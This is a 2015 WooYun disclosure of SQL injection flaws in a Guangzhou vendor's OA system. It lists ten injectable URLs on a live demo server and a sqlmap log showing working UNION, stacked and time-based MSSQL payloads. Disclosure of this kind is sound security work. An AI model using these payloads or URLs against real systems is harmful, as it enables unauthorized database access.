当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102735

漏洞标题:某OA系统多处sql注入漏洞

相关厂商:广州名将软件

漏洞作者: #6c6c6c

提交时间:2015-03-23 12:22

修复时间:2015-05-07 12:24

公开时间:2015-05-07 12:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

多处sql注入,希望厂商早日修复。

详细说明:

官方站:http://www.yf1668.com/
官方演示demo:http://112.124.41.23:38888/
demo测试,mssql注入。aspx程序。厂商:广州名将软件


 WooYun: 某OA系统多处SQL注入打包 
捡前人的漏网之鱼
$$看起来好叼的样子....


第一处注入:http://112.124.41.23:38888/SystemManage/BuMenInfo.aspx?Type=&DirID=0


注入1.jpg


第二处注入:http://112.124.41.23:38888/GongGao/GongGao.aspx?Type=a


注入2.jpg


第三处注入:http://112.124.41.23:38888/WorkFlow/PublicSealLog.aspx?Type=c


F:\Python26\sqlmap>sqlmap.py -u "http://112.124.41.23:38888/WorkFlow/PublicSealL
og.aspx?Type=c"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:11:32
[22:11:32] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output
directory
[22:11:32] [INFO] testing connection to the target URL
[22:11:32] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[22:11:33] [INFO] target URL is stable
[22:11:33] [INFO] testing if GET parameter 'Type' is dynamic
[22:11:33] [WARNING] GET parameter 'Type' does not appear dynamic
[22:11:34] [WARNING] heuristic (basic) test shows that GET parameter 'Type' migh
t not be injectable
[22:11:34] [INFO] testing for SQL injection on GET parameter 'Type'
[22:11:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:11:35] [WARNING] reflective value(s) found and filtering out
[22:11:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[22:11:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:11:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[22:11:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[22:11:43] [INFO] testing 'MySQL inline queries'
[22:11:43] [INFO] testing 'PostgreSQL inline queries'
[22:11:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:11:44] [INFO] testing 'Oracle inline queries'
[22:11:44] [INFO] testing 'SQLite inline queries'
[22:11:44] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:11:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[22:11:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:11:56] [INFO] GET parameter 'Type' seems to be 'Microsoft SQL Server/Sybase
stacked queries' injectable
[22:11:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[22:12:06] [INFO] GET parameter 'Type' seems to be 'Microsoft SQL Server/Sybase
time-based blind' injectable
[22:12:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:12:06] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[22:12:07] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[22:12:07] [INFO] target URL appears to have 6 columns in query
[22:12:08] [INFO] GET parameter 'Type' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'Type' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
sqlmap identified the following injection points with a total of 76 HTTP(s) requ
ests:
---
Place: GET
Parameter: Type
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: Type=c' UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CH
AR(113)+CHAR(99)+CHAR(113)+CHAR(77)+CHAR(68)+CHAR(75)+CHAR(75)+CHAR(90)+CHAR(65)
+CHAR(115)+CHAR(122)+CHAR(118)+CHAR(108)+CHAR(113)+CHAR(117)+CHAR(97)+CHAR(112)+
CHAR(113),NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Type=c'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Type=c' WAITFOR DELAY '0:0:5'--
---
[22:12:31] [INFO] testing Microsoft SQL Server
[22:12:31] [INFO] confirming Microsoft SQL Server
[22:12:32] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[22:12:32] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 29 times
[22:12:32] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\112.124.41.23'
[*] shutting down at 22:12:32


第四处注入:http://112.124.41.23:38888/NWorkFlow/NWorkToDoAdd.aspx?FormID=65&WorkFlowID=60
第五处注入:http://112.124.41.23:38888/NWorkFlow/NForm.aspx?TypeID=0
第六处注入:http://112.124.41.23:38888/DocFile/TiKu.aspx?TiKuID=0&FenLeiStr=
第七处注入:http://112.124.41.23:38888/CRM/CustomInfo.aspx?TextStr=aaa&DropStr=UserName
第八处注入:http://112.124.41.23:38888/ReportCenter/Report.aspx?TypeID=0
第九处注入:http://112.124.41.23:38888/BBS/BanKuaiView.aspx?ID=6
第十处注入:http://112.124.41.23:38888/FG_Fxzl/FxzlView.aspx?TypeID=1

漏洞证明:

官方站:http://www.yf1668.com/
官方演示demo:http://112.124.41.23:38888/
demo测试,mssql注入。aspx程序。厂商:广州名将软件


 WooYun: 某OA系统多处SQL注入打包 
捡前人的漏网之鱼
$$看起来好叼的样子....


第一处注入:http://112.124.41.23:38888/SystemManage/BuMenInfo.aspx?Type=&DirID=0


注入1.jpg


第二处注入:http://112.124.41.23:38888/GongGao/GongGao.aspx?Type=a


注入2.jpg


第三处注入:http://112.124.41.23:38888/WorkFlow/PublicSealLog.aspx?Type=c


F:\Python26\sqlmap>sqlmap.py -u "http://112.124.41.23:38888/WorkFlow/PublicSealL
og.aspx?Type=c"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:11:32
[22:11:32] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output
directory
[22:11:32] [INFO] testing connection to the target URL
[22:11:32] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[22:11:33] [INFO] target URL is stable
[22:11:33] [INFO] testing if GET parameter 'Type' is dynamic
[22:11:33] [WARNING] GET parameter 'Type' does not appear dynamic
[22:11:34] [WARNING] heuristic (basic) test shows that GET parameter 'Type' migh
t not be injectable
[22:11:34] [INFO] testing for SQL injection on GET parameter 'Type'
[22:11:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:11:35] [WARNING] reflective value(s) found and filtering out
[22:11:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[22:11:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:11:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[22:11:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[22:11:43] [INFO] testing 'MySQL inline queries'
[22:11:43] [INFO] testing 'PostgreSQL inline queries'
[22:11:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:11:44] [INFO] testing 'Oracle inline queries'
[22:11:44] [INFO] testing 'SQLite inline queries'
[22:11:44] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:11:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[22:11:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:11:56] [INFO] GET parameter 'Type' seems to be 'Microsoft SQL Server/Sybase
stacked queries' injectable
[22:11:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[22:12:06] [INFO] GET parameter 'Type' seems to be 'Microsoft SQL Server/Sybase
time-based blind' injectable
[22:12:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:12:06] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[22:12:07] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[22:12:07] [INFO] target URL appears to have 6 columns in query
[22:12:08] [INFO] GET parameter 'Type' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'Type' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
sqlmap identified the following injection points with a total of 76 HTTP(s) requ
ests:
---
Place: GET
Parameter: Type
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: Type=c' UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CH
AR(113)+CHAR(99)+CHAR(113)+CHAR(77)+CHAR(68)+CHAR(75)+CHAR(75)+CHAR(90)+CHAR(65)
+CHAR(115)+CHAR(122)+CHAR(118)+CHAR(108)+CHAR(113)+CHAR(117)+CHAR(97)+CHAR(112)+
CHAR(113),NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Type=c'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Type=c' WAITFOR DELAY '0:0:5'--
---
[22:12:31] [INFO] testing Microsoft SQL Server
[22:12:31] [INFO] confirming Microsoft SQL Server
[22:12:32] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[22:12:32] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 29 times
[22:12:32] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\112.124.41.23'
[*] shutting down at 22:12:32


第四处注入:http://112.124.41.23:38888/NWorkFlow/NWorkToDoAdd.aspx?FormID=65&WorkFlowID=60
第五处注入:http://112.124.41.23:38888/NWorkFlow/NForm.aspx?TypeID=0
第六处注入:http://112.124.41.23:38888/DocFile/TiKu.aspx?TiKuID=0&FenLeiStr=
第七处注入:http://112.124.41.23:38888/CRM/CustomInfo.aspx?TextStr=aaa&DropStr=UserName
第八处注入:http://112.124.41.23:38888/ReportCenter/Report.aspx?TypeID=0
第九处注入:http://112.124.41.23:38888/BBS/BanKuaiView.aspx?ID=6
第十处注入:http://112.124.41.23:38888/FG_Fxzl/FxzlView.aspx?TypeID=1

修复方案:

写个正则什么的过滤一下吧。

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝